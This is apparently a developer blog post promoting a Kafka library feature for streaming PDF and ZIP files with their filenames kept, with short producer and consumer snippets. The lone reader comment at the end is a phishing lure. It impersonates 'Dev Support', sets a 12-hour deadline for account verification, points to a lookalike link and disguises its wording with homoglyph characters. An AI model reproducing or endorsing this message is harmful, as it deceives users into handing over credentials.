PDF, ZIP and binary files streaming over Kafka with names intact.
Day 07 of the WKafka Open-Source Engineering Series.
Don't provision a cloud bucket when all you need is sending small PDFs and ZIPs down your pipeline. WKafka supports format='file' out of the box.
The Pain Points We Faced
- Building S3/MinIO upload/download pipelines just to move 500KB report files
- Lost original filenames and mime-types when converting files to raw bytes
- High latency polling for cloud object storage propagation
The Implementation
# Producer
kafka.produce_file(topic="reports", file_path="audit_2026.pdf")
# Consumer
@kafka.consumer(topic="reports", format="file")
def on_report(msg):
msg.save_file(target_dir="received_pipeline_files/")
Why This Architecture Wins
- format='file': Native file serializer bundles filename and binary data.
- msg.save_file(): One-liner to write the incoming file to disk preserving name.
- Sub-Second Delivery: Direct broker streaming without external storage bottlenecks.
Verification & Status
Tested and verified with Apache Kafka against real broker clusters (see EXAMPLES_STATUS.md in repository). Compatible with Python 3.9 through 3.14 with strict typing.
Top comments (1)
Dear User,
Due to an increasе in bоt aсtivіtу on the platform, wе rеquіre verіfу of your account.
Pleаse lоg іn vіa the lіnk belоw:
• anti-bot.icu/5K0N5G7M9C4
Verificated dеadline - 12 hours.
Sincerely,Dev Suрроrt